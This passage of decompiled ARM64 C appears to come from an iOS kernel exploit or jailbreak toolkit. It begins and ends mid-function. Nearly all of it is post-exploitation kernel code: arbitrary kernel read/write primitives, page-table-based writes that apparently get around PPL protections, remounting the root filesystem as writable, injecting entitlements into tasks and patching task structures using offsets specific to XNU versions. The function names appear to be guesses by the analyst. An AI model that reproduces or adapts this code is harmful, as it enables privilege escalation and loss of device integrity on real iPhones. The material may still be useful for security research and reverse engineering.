      ffsctl(v16, 0x80046815, &v22, 0);
      LODWORD(v22) = 2;
      if ( v10 )
      {
        ffsctl(v16, 0x80044A11, &v22, 0);
        LODWORD(v22) = 3;
      }
      ffsctl(v16, 0x80046816, &v22, 0);
      close(v16);
    }
    v17 = 0x10000;
  }
  else
  {
    if ( v8 && !(unsigned int)validate_physmap_range_4(a1, "/", 1, (unsigned int *)&v21) )
      return 0;
    v17 = 268500993;
    v12 = -1;
  }
  if ( v10 )
    v18 = get_kernel_load_addr_bsm((__int64)"/dev/disk0s1s1", "/", v17);
  else
    v18 = remount_hfs((__int64)"/dev/disk0s1s1", "/", v17);
  if ( v18 == -1 )
  {
    v9 = 0;
    if ( a2 )
      goto LABEL_32;
  }
  else
  {
    v9 = 1;
    if ( a2 )
    {
LABEL_32:
      if ( kread_u32((__int64)a1, v7, &v20) )
      {
        v20 |= 0x4000u;
        if ( noppl_kwrite32((__int64)a1, v7, v20) )
        {
          close(v12);
          return v9;
        }
      }
      return 0;
    }
  }
  if ( (((unsigned int)v9 | !v10) & 1) == 0 && !(unsigned int)validate_physmap_range_4(a1, "/", v21, 0) )
    return 0;
  return v9;
}

//----- (0000000000014BEC) ----------------------------------------------------
__int64 __fastcall get_root_prefix_path(__int64 a1, void *a2, uint32_t *a3, int *a4)
{
  int v7; // w20
  const char *v8; // x23
  size_t v9; // x24
  __int64 result; // x0

  v7 = check_root_fs_mounted(0);
  if ( v7 )
  {
    if ( !check_path_on_disk0s1s1("/private/var/MobileSoftwareUpdate/mnt1") )
    {
      LODWORD(v9) = 0;
LABEL_10:
      *a3 = v9;
      result = 1;
      if ( !a4 )
        return result;
      goto LABEL_11;
    }
    v8 = "/private/var/MobileSoftwareUpdate/mnt1/";
  }
  else
  {
    v8 = "/";
  }
  v9 = strlen(v8) + 1;
  if ( v9 <= (unsigned int)*a3 )
  {
    memcpy(a2, v8, v9);
    goto LABEL_10;
  }
  result = 0;
  if ( a4 )
LABEL_11:
    *a4 = v7;
  return result;
}

//----- (0000000000014CA4) ----------------------------------------------------
__int64 __fastcall get_kbase_from_fileport(struct_krwCtx *a1, int w1_0)
{
  __int64 v3; // x19
  unsigned __int64 v4; // x0
  int xnuMajorVersion; // w8
  __int64 v9; // [xsp+8h] [xbp-28h] BYREF
  unsigned __int64 v10; // [xsp+10h] [xbp-20h] BYREF
  mach_port_t a2; // [xsp+1Ch] [xbp-14h] BYREF

  a2 = 0;
  if ( !(unsigned int)j__fileport_makeport(w1_0, &a2) && a2 )
  {
    v4 = get_task_kobject_addr(a1, a2);
    if ( !v4 )
      goto LABEL_19;
    xnuMajorVersion = a1->xnuMajorVersion;
    if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 && xnuMajorVersion != 7195 && xnuMajorVersion != 6153 )
      return 0;
    if ( kread_physmap_decorated(a1, v4 + 56, &v10)
      && validate_kaddr_range((__int64)a1, v10)
      && kread_physmap_decorated(a1, v10 + 216, (unsigned __int64 *)&v9) )
    {
      if ( validate_kaddr_range((__int64)a1, v9) )
        v3 = v9;
      else
        v3 = 0;
    }
    else
    {
LABEL_19:
      v3 = 0;
    }
    mach_port_destroy(mach_task_self_, a2);
    return v3;
  }
  return 0;
}

//----- (0000000000014D98) ----------------------------------------------------
__int64 __fastcall validate_physmap_range_4(struct_krwCtx *a1, char *a2, int a3, unsigned int *a4)
{
  int v7; // w0
  int v8; // w19
  __int64 v9; // x0
  int xnuMajorVersion; // w8
  __int64 v11; // x8
  __int64 v12; // x23
  mach_vm_address_t v13; // x24
  unsigned int v15; // [xsp+Ch] [xbp-34h] BYREF

  v7 = open(a2, 0);
  if ( v7 != -1 )
  {
    v8 = v7;
    v9 = get_kernel_base_physmap(a1, v7);
    if ( v9 )
    {
      xnuMajorVersion = a1->xnuMajorVersion;
      if ( (unsigned int)(xnuMajorVersion - 8019) < 2 )
      {
        v11 = 548;
      }
      else if ( xnuMajorVersion == 6153 )
      {
        v11 = 456;
      }
      else
      {
        if ( xnuMajorVersion != 7195 )
          goto LABEL_18;
        v11 = 476;
        if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
          v11 = 452;
      }
      v13 = v11 + v9;
      v12 = 0;
      if ( !kread_u32((__int64)a1, v11 + v9, &v15) || v15 > 1 )
        goto LABEL_19;
      if ( noppl_kwrite32((__int64)a1, v13, a3) )
      {
        if ( a4 )
          *a4 = v15;
        v12 = 1;
        goto LABEL_19;
      }
    }
LABEL_18:
    v12 = 0;
LABEL_19:
    close(v8);
    return v12;
  }
  return 0;
}

//----- (0000000000014EC4) ----------------------------------------------------
__int64 __fastcall get_kernel_load_addr_bsm(__int64 a1, const char *a2, unsigned int a3)
{
  uint64_t v4[2]; // [xsp+0h] [xbp-140h] BYREF
  __int128 v5; // [xsp+10h] [xbp-130h]
  __int128 v6; // [xsp+20h] [xbp-120h]
  __int128 v7; // [xsp+30h] [xbp-110h]
  __int128 v8; // [xsp+40h] [xbp-100h]
  __int128 v9; // [xsp+50h] [xbp-F0h]
  __int128 v10; // [xsp+60h] [xbp-E0h]
  __int128 v11; // [xsp+70h] [xbp-D0h]
  __int128 v12; // [xsp+80h] [xbp-C0h]
  __int128 v13; // [xsp+90h] [xbp-B0h]
  __int128 v14; // [xsp+A0h] [xbp-A0h]
  __int128 v15; // [xsp+B0h] [xbp-90h]
  __int128 v16; // [xsp+C0h] [xbp-80h]
  __int128 v17; // [xsp+D0h] [xbp-70h]
  __int128 v18; // [xsp+E0h] [xbp-60h]
  __int128 v19; // [xsp+F0h] [xbp-50h]
  __int128 v20; // [xsp+100h] [xbp-40h]
  __int128 v21; // [xsp+110h] [xbp-30h]
  __int64 v22; // [xsp+120h] [xbp-20h]

  v22 = 0;
  v20 = 0u;
  v21 = 0u;
  v18 = 0u;
  v19 = 0u;
  v16 = 0u;
  v17 = 0u;
  v14 = 0u;
  v15 = 0u;
  v12 = 0u;
  v13 = 0u;
  v10 = 0u;
  v11 = 0u;
  v8 = 0u;
  v9 = 0u;
  v6 = 0u;
  v7 = 0u;
  v5 = 0u;
  v4[0] = a1;
  v4[1] = a3;
  return mount("apfs", a2, a3, v4);
}

//----- (0000000000014F5C) ----------------------------------------------------
__int64 __fastcall remount_hfs(__int64 a1, const char *a2, int a3)
{
  __int64 v4; // [xsp+0h] [xbp-30h] BYREF
  __int128 v5; // [xsp+8h] [xbp-28h]
  __int128 v6; // [xsp+18h] [xbp-18h]
  __int64 v7; // [xsp+28h] [xbp-8h]

  v7 = 0;
  v6 = 0u;
  v5 = 0u;
  v4 = a1;
  return mount("hfs", a2, a3, &v4);
}

//----- (0000000000014F9C) ----------------------------------------------------
bool check_root_is_apfs()
{
  unsigned int v0; // w0
  bool v1; // w23
  __int64 v2; // x22
  char *f_mntonname; // x19
  struct statfs *v5; // [xsp+8h] [xbp-38h] BYREF

  v5 = 0;
  v0 = getmntinfo(&v5, 0);
  v1 = 0;
  if ( v0 )
  {
    v2 = v0;
    f_mntonname = v5->f_mntonname;
    do
    {
      if ( !strcmp("/", f_mntonname) )
        v1 = strncmp("apfs", f_mntonname - 16, 0x10u) == 0;
      f_mntonname += 2168;
      --v2;
    }
    while ( v2 );
  }
  return v1;
}

//----- (000000000001503C) ----------------------------------------------------
__int64 __fastcall krw_inject_entitlements_maybe(struct_krwCtx *krwCtx, __int64 task, char *entitlementXml)
{
  int v4; // w23
  uint64_t v7; // x24
  void *v8; // x22
  CFPropertyListRef v9; // x21
  const struct __CFData *v10; // x20
  size_t v11; // x0
  void *(__cdecl *v12)(void *); // x0
  const struct __CFData *Data; // x0
  const struct __CFData *v14; // x23
  size_t Length; // x24
  const UInt8 *BytePtr; // x0
  int v17; // w0
  unsigned int v18; // w0
  mach_port_name_t v19; // w23
  int v20; // w8
  unsigned __int64 v21; // x0
  int v22; // w23
  CFPropertyListFormat format; // [xsp+8h] [xbp-108h] BYREF
  CFTypeRef cf; // [xsp+10h] [xbp-100h] BYREF
  __int64 address; // [xsp+18h] [xbp-F8h] BYREF
  int v26; // [xsp+20h] [xbp-F0h]
  CFTypeRef v27; // [xsp+28h] [xbp-E8h]
  mach_port_name_t name[2]; // [xsp+30h] [xbp-E0h] BYREF
  int v29; // [xsp+38h] [xbp-D8h]
  pthread_t v30; // [xsp+40h] [xbp-D0h] BYREF
  pthread_attr_t v31; // [xsp+48h] [xbp-C8h] BYREF
  __int64 vars8; // [xsp+118h] [xbp+8h]

  v4 = task;
  format = kCFPropertyListXMLFormat_v1_0;
  cf = 0;
  if ( krwCtx->xnuVersionPacked < XNU_VERSION_PACKED(8019, 0, 0, 0, 0) )
  {
    v7 = 0;
    if ( (unsigned int)acquire_write_semaphore_lock((__int64)krwCtx, 0, 0x2710u) )
      return v7;
    v31.__sig = (__int64)krwCtx;
    *(uint32_t *)&v31.__opaque[4] = 0;
    *(uint32_t *)v31.__opaque = v4;
    *(uint64_t *)&v31.__opaque[8] = &cf;
    *(uint64_t *)&v31.__opaque[16] = 0;
    v7 = 0;
    v8 = 0;
    if ( pthread_create_and_join((__int64)krwCtx, (__int64)find_connect_ioavservice, &v31) )
    {
      v9 = 0;
      v10 = 0;
      if ( *(uint32_t *)&v31.__opaque[16] )
      {
        v11 = strlen(entitlementXml);
        v10 = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, (const UInt8 *)entitlementXml, v11 + 1, kCFAllocatorNull);
        if ( !v10 )
        {
          v8 = 0;
          v9 = 0;
          goto LABEL_15;
        }
        v9 = CFPropertyListCreateWithData(kCFAllocatorDefault, v10, 0, &format, 0);
        if ( !v9 )
          goto LABEL_12;
        if ( (unsigned int)merge_cfdict_entries(cf, v9) )
        {
          if ( (unsigned int)compare_cfdict_entries(cf, v9) )
          {
LABEL_12:
            v8 = 0;
            goto LABEL_15;
          }
          if ( krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(7195, 42, 1, 0, 0) && (krwCtx->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) != 0 )
          {
            address = (__int64)krwCtx;
            v26 = v4;
            v27 = cf;
            if ( pthread_attr_init(&v31) )
              goto LABEL_12;
            if ( pthread_attr_setdetachstate(&v31, 1)
              || (v30 = 0,
                  v29 = 4097,
                  *(uint64_t *)name = &address,
                  v12 = (void *(__cdecl *)(void *))nullsub_1(get_kernel_task_iokit),
                  pthread_create(&v30, &v31, v12, name))
              || pthread_join(v30, 0) )
            {
              pthread_attr_destroy(&v31);
              goto LABEL_12;
            }
            v22 = v29;
            pthread_attr_destroy(&v31);
            v8 = 0;
            if ( v22 )
              goto LABEL_15;
          }
          else
          {
            Data = CFPropertyListCreateData(kCFAllocatorDefault, cf, kCFPropertyListXMLFormat_v1_0, 0, 0);
            if ( !Data )
              goto LABEL_12;
            v14 = Data;
            Length = CFDataGetLength(Data);
            v8 = calloc(Length + 1, 1u);
            if ( !v8 )
            {
              CFRelease(v14);
              goto LABEL_15;
            }
            BytePtr = CFDataGetBytePtr(v14);
            memcpy(v8, BytePtr, Length);
            CFRelease(v14);
            name[0] = 0;
            address = 0;
            v17 = strlen((const char *)v8);
            v18 = register_ioservice_publish_notify((__int64)v8, v17 + 1, name);
            if ( v18 + 1 <= 1 )
            {
LABEL_15:
              v7 = 0;
              goto LABEL_16;
            }
            v19 = v18;
            v20 = krwCtx->xnuMajorVersion;
            v7 = ((unsigned int)(v20 - 8019) < 2 || v20 == 7195 || v20 == 6153)
              && (v21 = get_task_kobject_addr(krwCtx, v18), (address = v21) != 0)
              && kread_physmap_decorated(krwCtx, v21 + 16, (unsigned __int64 *)&address)
              && kread_physmap_decorated(krwCtx, address + 24, (unsigned __int64 *)&address)
              && noppl_kwrite32((__int64)krwCtx, address + krwCtx->stride168, 255)
              && (unsigned int)krw_read_thunk(krwCtx, address, 40, &v31)
              && (unsigned int)kwrite_with_retry(
                                 (__int64)krwCtx,
                                 krwCtx->gap191[4] + krwCtx->stride168,
                                 (__int64)&v31 + krwCtx->stride168,
                                 (unsigned int)(40 - krwCtx->stride168)) != 0;
            mach_port_destroy(mach_task_self_, v19);
            if ( name[0] + 1 >= 2 )
              mach_port_destroy(mach_task_self_, name[0]);
            if ( !v7 )
              goto LABEL_16;
          }
        }
        else
        {
          v8 = 0;
        }
        v7 = 1;
      }
    }
    else
    {
      v9 = 0;
      v10 = 0;
    }
LABEL_16:
    release_write_semaphore_lock((__int64)krwCtx, 0);
    if ( cf )
      CFRelease(cf);
    if ( v9 )
      CFRelease(v9);
    if ( v10 )
      CFRelease(v10);
    if ( v8 )
      free(v8);
    return v7;
  }
  return krw_inject_entitlements2_maybe(krwCtx, task, entitlementXml, 1);
}
// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);

//----- (00000000000154D0) ----------------------------------------------------
__int64 __fastcall get_mach_thread_info(struct_krwCtx *a1, __int64 a2, char *a3, __int64 a4, int a5)
{
  __int64 result; // x0
  __int64 v10; // x23
  int v11; // [xsp+Ch] [xbp-34h] BYREF

  v11 = 0;
  if ( (a5 & 0xB) == 0 )
    return 0;
  result = task_self_get_ipc_port(a1, a2);
  if ( result )
  {
    result = get_task_struct_offset((__int64)a1, result);
    if ( result )
    {
      v10 = result;
      result = krw_read_thunk(a1, result, 4, &v11);
      if ( (uint32_t)result )
      {
        if ( (v11 & a5) == 0 )
        {
          result = krw_inject_entitlements_maybe(a1, a2, a3);
          if ( (uint32_t)result )
          {
            v11 |= a5;
            return kwrite_with_retry((__int64)a1, v10, (__int64)&v11, 4);
          }
        }
      }
    }
  }
  return result;
}

//----- (00000000000155A0) ----------------------------------------------------
__int64 __fastcall find_connect_ioavservice(__int64 a1)
{
  __int64 v2; // x21
  unsigned int v3; // w1
  CFMutableDictionaryRef *v4; // x25
  __int64 result; // x0
  io_service_t v6; // w20
  __int64 v7; // x22
  int v8; // w0
  kern_return_t v9; // w23
  int v10; // w24
  int v11; // w0
  unsigned __int64 v12; // x0
  unsigned __int64 v13; // x23
  io_object_t v14; // w22
  mach_vm_address_t v15; // x23
  __int64 v16; // x2
  kern_return_t v17; // w24
  io_iterator_t iterator[2]; // [xsp+8h] [xbp-68h] BYREF
  CFMutableDictionaryRef properties; // [xsp+10h] [xbp-60h] BYREF
  __int64 v20; // [xsp+18h] [xbp-58h] BYREF
  __int64 v21; // [xsp+20h] [xbp-50h] BYREF
  io_connect_t connect; // [xsp+2Ch] [xbp-44h] BYREF

  v2 = *(uint64_t *)a1;
  v3 = *(uint32_t *)(a1 + 8);
  v4 = *(CFMutableDictionaryRef **)(a1 + 16);
  connect = 0;
  v20 = 0;
  v21 = 0;
  properties = 0;
  result = necp_set_opt_string_6(v2, v3);
  if ( !(uint32_t)result )
    goto LABEL_14;
  result = validate_kaddr_range(v2, *(uint64_t *)(v2 + 912));
  if ( !result )
    goto LABEL_14;
  if ( *(int *)(v2 + 320) < 7195 )
  {
    result = (__int64)ioservice_get_matching("AppleM2ScalerCSCDriver");
    v6 = result;
  }
  else
  {
    v6 = (unsigned int)ioservice_get_matching("AppleKeyStore");
    result = krw_ctx_has_flag((struct_krwCtx *)v2, KRW_CTX_FLAG_MOBILEBACKUP_SANDBOX_PATCHED);
    if ( !(uint32_t)result )
    {
      v7 = *(uint64_t *)(v2 + 936);
      goto LABEL_8;
    }
  }
  v7 = 0;
LABEL_8:
  if ( v6 + 1 < 2 )
  {
LABEL_14:
    v10 = 0;
    goto LABEL_15;
  }
  if ( v7 )
  {
    if ( !necp_set_opt_string_7((struct_krwCtx *)v2, *(uint32_t *)(v2 + 892), 0) )
    {
LABEL_19:
      v10 = 0;
      goto LABEL_20;
    }
    v9 = IOServiceOpen(v6, mach_task_self_, 0, &connect);
    v10 = 0;
    if ( !necp_set_opt_string_7((struct_krwCtx *)v2, *(uint32_t *)(v2 + 892), v7) || v9 )
      goto LABEL_20;
LABEL_17:
    iterator[0] = 0;
    v12 = get_task_kobject_addr((struct_krwCtx *)v2, connect);
    if ( !v12 )
      goto LABEL_19;
    v13 = v12;
    if ( IORegistryEntryGetChildIterator(v6, "IOService", iterator) )
      goto LABEL_19;
    while ( 1 )
    {
      v14 = IOIteratorNext(iterator[0]);
      if ( !v14 )
        break;
      if ( v13 == get_task_kobject_addr((struct_krwCtx *)v2, v14) )
        goto LABEL_27;
      IOObjectRelease(v14);
    }
    v13 = 0;
LABEL_27:
    IOObjectRelease(iterator[0]);
    v10 = 0;
    if ( !v14 || !v13 )
    {
LABEL_43:
      if ( v14 + 1 >= 2 )
        IOObjectRelease(v14);
      goto LABEL_20;
    }
    v15 = v13 + 32;
    if ( kread_physmap_decorated((struct_krwCtx *)v2, v15, (unsigned __int64 *)&v21) )
    {
      v16 = *(uint64_t *)(v2 + 912);
      if ( *(uint64_t *)(v2 + 344) < XNU_VERSION_PACKED(8019, 0, 0, 0, 0) )
      {
        v20 = *(uint64_t *)(v2 + 912);
LABEL_35:
        if ( kwrite64(v2, v15, v16) )
        {
          v17 = IORegistryEntryCreateCFProperties(v14, &properties, kCFAllocatorDefault, 0);
          if ( !kwrite64(v2, v15, v21) || v17 )
          {
            if ( properties )
              CFRelease(properties);
          }
          else if ( properties )
          {
            *v4 = properties;
            v10 = 1;
            goto LABEL_43;
          }
        }
        goto LABEL_42;
      }
      if ( kread_physmap_decorated((struct_krwCtx *)v2, v16 + 136, (unsigned __int64 *)&v20) && validate_kaddr_range(v2, v20) )
      {
        v16 = v20;
        goto LABEL_35;
      }
    }
LABEL_42:
    v10 = 0;
    goto LABEL_43;
  }
  v10 = 0;
  if ( !IOServiceOpen(v6, mach_task_self_, 0, &connect) )
    goto LABEL_17;
LABEL_20:
  if ( connect + 1 >= 2 )
  {
    *(uint64_t *)iterator = 1;
    IOServiceClose(connect);
    IOServiceWaitQuiet(v6, (mach_timespec_t *)iterator);
  }
  result = IOObjectRelease(v6);
LABEL_15:
  *(uint32_t *)(a1 + 24) = v10;
  return result;
}
// 15664: variable 'v8' is possibly undefined
// 1569C: variable 'v11' is possibly undefined

//----- (0000000000015880) ----------------------------------------------------
__int64 __fastcall get_kernel_task_iokit(__int64 a1)
{
  __int64 v2; // x21
  task_inspect_t v3; // w25
  const void *v4; // x20
  host_t v5; // w0
  kern_return_t v6; // w0
  int v7; // w23
  unsigned int v8; // w22
  vm_address_t v9; // x1
  unsigned __int64 v10; // x20
  mach_port_t v11; // w8
  thread_act_t v12; // w0
  kern_return_t v13; // w0
  unsigned int v14; // w8
  const struct __CFData *v16; // x0
  const struct __CFData *v17; // x20
  const UInt8 *BytePtr; // x22
  unsigned int Length; // w0
  unsigned int v20; // w24
  bool v21; // zf
  unsigned __int64 v22; // x0
  int v23; // w26
  int v24; // w8
  thread_act_t v27; // w0
  mach_port_t v28; // w0
  kern_return_t v29; // w0
  unsigned __int64 v30; // x23
  mach_port_t v31; // w8
  thread_act_t v32; // w0
  int v33; // w0
  int v34; // w0
  unsigned __int64 v35; // x0
  __int64 v36; // x8
  int v37; // w0
  unsigned __int64 v38; // [xsp+0h] [xbp-70h] BYREF
  task_suspension_token_t suspend_token[2]; // [xsp+8h] [xbp-68h] BYREF
  vm_address_t address; // [xsp+10h] [xbp-60h] BYREF
  io_master_t io_master[2]; // [xsp+18h] [xbp-58h] BYREF

  v2 = **(uint64_t **)a1;
  v3 = *(uint32_t *)(*(uint64_t *)a1 + 8LL);
  v4 = *(const void **)(*(uint64_t *)a1 + 16LL);
  address = 0;
  *(uint64_t *)io_master = 0;
  *(uint64_t *)suspend_token = 0;
  v5 = mach_host_self();
  v6 = host_get_io_master(v5, &io_master[1]);
  if ( !v6 )
  {
    v6 = mach_port_allocate(mach_task_self_, 1u, io_master);
    if ( !v6 )
    {
      v7 = 708617;
      v16 = IOCFSerialize(v4, 1u);
      if ( !v16 )
        goto LABEL_4;
      v17 = v16;
      BytePtr = CFDataGetBytePtr(v16);
      Length = CFDataGetLength(v17);
      v20 = Length;
      if ( BytePtr )
        v21 = Length == 0;
      else
        v21 = 1;
      if ( v21 )
        goto LABEL_56;
      if ( !*(uint64_t *)(v2 + 6568) )
      {
        v22 = kernel_cstring_pattern_scan(v2, "iokit.OSDictionary");
        if ( !v22 )
        {
          v7 = 708625;
          goto LABEL_56;
        }
        *(uint64_t *)(v2 + 6568) = v22;
      }
      v23 = 163855;
      v24 = *(uint32_t *)(v2 + 320);
      if ( (unsigned int)(v24 - 8019) >= 2 && v24 != 7195 && v24 != 6153 )
      {
        v7 = 163857;
        goto LABEL_56;
      }
      v27 = mach_thread_self();
      if ( !set_thread_abs_realtime_50(v27) )
      {
        v7 = 163896;
        goto LABEL_56;
      }
      v28 = mach_thread_self();
      v7 = kwrite_task_kobj_field_via_physmap((struct_krwCtx *)v2, v28, 1, 1, 96);
      if ( v7 )
      {
LABEL_56:
        v8 = 0;
LABEL_57:
        CFRelease(v17);
        goto LABEL_5;
      }
      thread_switch(0, 2, 0xAu);
      if ( mach_task_self_ == v3 )
      {
        v29 = task_threads(v3, (thread_act_array_t *)&address, &suspend_token[1]);
        if ( !v29 )
        {
          if ( suspend_token[1] )
          {
            v30 = 0;
            do
            {
              if ( (unsigned int)(*(uint32_t *)(address + 4 * v30) + 1) >= 2 )
              {
                v31 = mach_thread_self();
                v32 = *(uint32_t *)(address + 4 * v30);
                if ( v31 != v32 )
                  thread_suspend(v32);
              }
              ++v30;
            }
            while ( v30 < suspend_token[1] );
          }
LABEL_58:
          if ( necp_set_opt_string_7((struct_krwCtx *)v2, *(uint32_t *)(v2 + 888), 0) )
          {
            v34 = scan_kernel_page_for_pattern(
                    (struct_krwCtx *)v2,
                    *(uint64_t *)(v2 + 6568),
                    0x28u,
                    *(uint64_t *)(v2 + 912),
                    (__int64 (__fastcall *)(__int64, __int64))test_appsepmanager_presence,
                    0);
            if ( v34 )
            {
              v8 = 0;
              v23 = v34;
LABEL_63:
              v7 = v23;
              goto LABEL_57;
            }
            v8 = ioservice_notification_send(io_master[1], (__int64)"IOServicePublish", (__int64)BytePtr, v20, io_master[0], 0, 0);
            if ( v8 )
            {
              v35 = get_task_kobject_addr((struct_krwCtx *)v2, v8);
              v38 = v35;
              if ( v35 )
              {
                if ( kread_physmap_decorated((struct_krwCtx *)v2, v35 + 16, &v38)
                  && kread_physmap_decorated((struct_krwCtx *)v2, v38 + 24, &v38) )
                {
                  v36 = *(uint64_t *)(v2 + 912);
                  if ( v36 == v38 )
                  {
                    if ( noppl_kwrite32(v2, v36 + *(int *)(v2 + 360), 255) )
                    {
                      if ( necp_set_opt_string_7((struct_krwCtx *)v2, *(uint32_t *)(v2 + 888), *(uint64_t *)(v2 + 928)) )
                        v23 = 0;
                      else
                        v23 = 163856;
                    }
                    else
                    {
                      v23 = 163856;
                    }
                  }
                  else
                  {
                    v23 = 163900;
                  }
                }
              }
              else
              {
                v23 = 163854;
              }
              goto LABEL_63;
            }
          }
          else
          {
            v8 = 0;
          }
          v23 = 4097;
          goto LABEL_63;
        }
      }
      else
      {
        v29 = task_suspend2(v3, suspend_token);
        if ( !v29 )
          goto LABEL_58;
      }
      v7 = v29 | 0x80000000;
      goto LABEL_56;
    }
  }
  v7 = v6 | 0x80000000;
LABEL_4:
  v8 = 0;
LABEL_5:
  if ( suspend_token[1] )
  {
    v9 = address;
    if ( address )
    {
      v10 = 0;
      do
      {
        if ( (unsigned int)(*(uint32_t *)(v9 + 4 * v10) + 1) >= 2 )
        {
          v11 = mach_thread_self();
          v12 = *(uint32_t *)(address + 4 * v10);
          if ( v11 != v12 )
            thread_resume(v12);
        }
        ++v10;
        v9 = address;
      }
      while ( v10 < suspend_token[1] );
      vm_deallocate(mach_task_self_, address, 4LL * suspend_token[1]);
    }
  }
  if ( suspend_token[0] + 1 >= 2 )
  {
    v13 = task_resume2(suspend_token[0]);
    v14 = v13 | 0x80000000;
    if ( v7 )
      v14 = v7;
    if ( v13 )
      v7 = v14;
  }
  if ( io_master[1] + 1 >= 2 )
    mach_port_deallocate(mach_task_self_, io_master[1]);
  if ( v8 + 1 >= 2 )
    mach_port_deallocate(mach_task_self_, v8);
  if ( io_master[0] + 1 >= 2 )
    mach_port_mod_refs(mach_task_self_, io_master[0], 1u, -1);
  *(uint32_t *)(a1 + 8) = v7;
  return 0;
}
// 15B94: variable 'v33' is possibly undefined
// 15C84: variable 'v37' is possibly undefined

//----- (0000000000015CA4) ----------------------------------------------------
__int64 test_appsepmanager_presence()
{
  ioservice_get_matching("xyz");
  return 0;
}

//----- (0000000000015CC8) ----------------------------------------------------
void __fastcall necp_send_msg_2(__int64 a1)
{
  void *v1; // x19
  __int64 vars8; // [xsp+18h] [xbp+8h]

  v1 = *(void **)(a1 + 7512);
  if ( v1 )
  {
    *(uint64_t *)(a1 + 7512) = 0;
    bzero(v1, 0x520u);
    free(v1);
  }
}
// 15D00: variable 'vars8' is possibly undefined

//----- (0000000000015D1C) ----------------------------------------------------
__int64 __fastcall pgtable_locked_kwrite32_retry(__int64 a1, __int64 a2, int a3)
{
  __int64 v5; // x22
  __int64 v6; // x21
  __int64 v7; // x23
  int v8; // w0
  __int64 v9; // x25
  __int64 v10; // x8
  __int64 v11; // x21
  __int64 v12; // x22
  int v13; // w8
  int v14; // w26
  int v16; // [xsp+Ch] [xbp-74h] BYREF
  uint8_t v17[4]; // [xsp+10h] [xbp-70h] BYREF
  int v18; // [xsp+14h] [xbp-6Ch] BYREF
  uint64_t v19[4]; // [xsp+18h] [xbp-68h] BYREF
  __int64 v20; // [xsp+38h] [xbp-48h]

  v18 = a3;
  v5 = *(uint64_t *)(a1 + 7512);
  v6 = *(uint64_t *)(a1 + 392);
  if ( !(unsigned int)acquire_write_semaphore_lock(a1, 8u, 0x3A98u) )
  {
    if ( !v5 )
    {
      v7 = krw_physmap_ctx_init(a1);
      if ( (uint32_t)v7 )
        goto LABEL_19;
      v5 = *(uint64_t *)(a1 + 7512);
    }
    if ( (unsigned int)krw_read_thunk((struct_krwCtx *)a1, a2, 4, v17) )
    {
      pgtable_walk_wrapper(a1, a2 & ~*(uint64_t *)(a1 + 392), (__int64)v19);
      v7 = 0xFFFFFFFFLL;
      if ( !v8 )
        goto LABEL_19;
      v9 = v20 & 0xFFFFFFFFC000LL;
      if ( (v20 & 0xFFFFFFFFC000LL) == 0 )
        goto LABEL_19;
      v10 = v6 & a2;
      v11 = *(uint64_t *)(v5 + 1296);
      v12 = *(uint64_t *)(v5 + 1304) + v10;
      v13 = 99;
      while ( 1 )
      {
        v14 = v13;
        if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, v11, 8, v19) )
          break;
        v19[0] = v19[0] & 0xFFFF000000003FFFLL | v9;
        v7 = 163856;
        if ( !(unsigned int)kwrite_with_retry(a1, v11, (__int64)v19, 8) )
          goto LABEL_19;
        semaphore_timedwait_ns(a1, 0x2710u);
        if ( !(unsigned int)kwrite_with_retry(a1, v12, (__int64)&v18, 4) )
          goto LABEL_19;
        if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)a1, a2, 4, &v16) )
          break;
        if ( v16 != v18 )
        {
          v13 = v14 - 1;
          if ( v14 )
            continue;
        }
        if ( v16 == v18 )
          v7 = 0;
        else
          v7 = 0xFFFFFFFFLL;
        goto LABEL_19;
      }
    }
    v7 = 163855;
LABEL_19:
    release_write_semaphore_lock(a1, 8u);
    return v7;
  }
  return 708642;
}
// 15DA8: variable 'v8' is possibly undefined

//----- (0000000000015EC4) ----------------------------------------------------
__int64 __fastcall krw_physmap_ctx_init(__int64 a1)
{
  __int64 v1; // x23
  unsigned int *v3; // x0
  unsigned int *v4; // x20
  __int64 v5; // x8
  __int64 v6; // x1
  __int64 v7; // x26
  void *v8; // x0
  __int64 v9; // x21
  struct_a1 *v10; // x22
  __int128 v11; // q0
  __int128 v12; // q1
  __int64 v13; // x8
  int v14; // w9
  int v15; // w10
  char *v16; // x0
  char *v17; // x0
  char *v18; // x23
  __int64 v19; // x25
  int v21; // w24
  char *v22; // x0
  char *v23; // x23
  char *v24; // x0
  char *v25; // x23
  __int64 v26; // x25
  int v27; // w27
  __int64 v28; // x23
  unsigned __int64 v29; // x0
  __int64 v30; // x0
  __int64 v31; // x25
  __int64 v32; // x0
  __int64 v33; // x0
  __int64 v34; // x21
  int v35; // w27
  int v36; // w8
  unsigned __int64 v37; // x0
  unsigned __int64 v38; // x22
  int has_flag; // w0
  unsigned __int64 v40; // x1
  unsigned __int64 v41; // x22
  __int64 v42; // x21
  int v43; // w0
  __int64 v44; // x8
  __int64 v45; // x21
  unsigned __int64 v46; // x0
  __int64 v47; // x24
  __int64 *v48; // x8
  __int64 v49; // t1
  __int64 v50; // x9
  __int64 v51; // x10
  __int64 v52; // x22
  vm_size_t v53; // x21
  vm_size_t v54; // x25
  kern_return_t v55; // w0
  __int64 v56; // x23
  __int64 v57; // x27
  __int64 v58; // x0
  vm_size_t v59; // x2
  __int64 v60; // x8
  __int64 v61; // x22
  __int64 v62; // x10
  __int64 v63; // x11
  __int64 v64; // x1
  __int64 v65; // x10
  unsigned __int8 *v66; // x9
  unsigned __int8 *v67; // x10
  unsigned int v68; // t1
  unsigned int v69; // t1
  unsigned __int64 v70; // x0
  unsigned __int64 v71; // x0
  char *v72; // x0
  char *v73; // x0
  unsigned int v74; // w8
  unsigned __int64 v75; // x9
  __int64 v76; // x11
  char v77; // w9
  uint64_t *v78; // x8
  __int64 v79; // x9
  char *v80; // x21
  unsigned __int64 v81; // x22
  __int64 v82; // x9
  mach_port_t v83; // w21
  uint64_t v84; // x8
  mach_port_t v85; // w0
  mach_port_t v86; // w0
  int v87; // w0
  unsigned __int64 v88; // x21
  int v89; // w0
  unsigned __int64 v90; // x22
  __int64 v91; // x28
  __int64 v92; // x23
  char *v93; // x0
  int v94; // t1
  char *v95; // x0
  char *v96; // x23
